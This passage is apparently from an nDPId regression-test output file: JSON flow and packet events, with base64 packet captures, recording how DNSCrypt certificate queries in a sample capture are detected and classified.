AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":145,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":40009,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":146,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327899,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwI4Aub0Rdh4KAAABlXBwCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":146,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":147,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":56022,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327955,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwI8gAL0RUUoKAAABlXBwCtrWIPsGBLxpa\/sBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":147,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":56022,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":148,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327973,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwI8Aub0Rdh0KAAABlXBwCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":148,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":149,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":42570,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327975,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwJEgAL0RUUgKAAABlXBwCqZKIPsGBPDxa\/8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":149,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":42570,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":150,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":57465,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327975,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwJBAAL0RNQkKAAABlXBwCuB5IPsCCMhQa\/4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":150,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":57465,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":151,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327986,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwJEAub0RdhsKAAABlXBwCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":151,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":152,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":946739305328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":55482,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":328010,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwJJAAL0RNQcKAAABlXBwCti6IPsCCMhQa\/wBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":152,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":946739305328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":55482,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00669{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":329996,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWg1EAADQR55WOBMxvCgAAAQG7qfEAwi9XAg+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00669{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":330270,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWg08AADQR55eOBMxvCgAAAQG77iIAwusoAgyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00670{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":331904,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWg1IAADQR55SOBMxvCgAAAQG7twgAwiI\/AhCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00476{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":348735,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHTCJAADsRLU2VcHAKCgAAASD7nEkAM5Mra\/2AAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":157,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":946739305348,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":38388,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":348929,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcCf9AAL0Rd68KAAABlTjkLZX0AbsCCDw8f0cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":157,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":946739305348,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":38388,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} 